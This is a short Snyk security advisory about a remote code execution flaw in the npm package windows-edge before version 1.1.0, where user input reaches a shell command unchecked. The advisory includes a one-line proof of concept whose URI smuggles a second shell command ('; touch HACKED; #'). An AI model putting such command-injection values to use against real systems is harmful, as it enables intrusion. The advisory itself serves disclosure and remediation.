Remote Code Execution (RCE) Affecting windows-edge package, versions <1.1.0


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Recommended
0.0
critical
0
10

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  • Snyk IDSNYK-JS-WINDOWSEDGE-608480
  • published25 Aug 2020
  • disclosed24 Aug 2020
  • creditmik317

Introduced: 24 Aug 2020

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade windows-edge to version 1.1.0 or higher.

Overview

windows-edge is a package that Launches a new Microsoft Edge tab on Windows.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). The issue occurs because a user input is formatted inside a command that will be executed without any check.

##PoC

const edge = require('windows-edge');
edge({ uri: 'https://github.com/; touch HACKED; #' }, (err, ps) => {})

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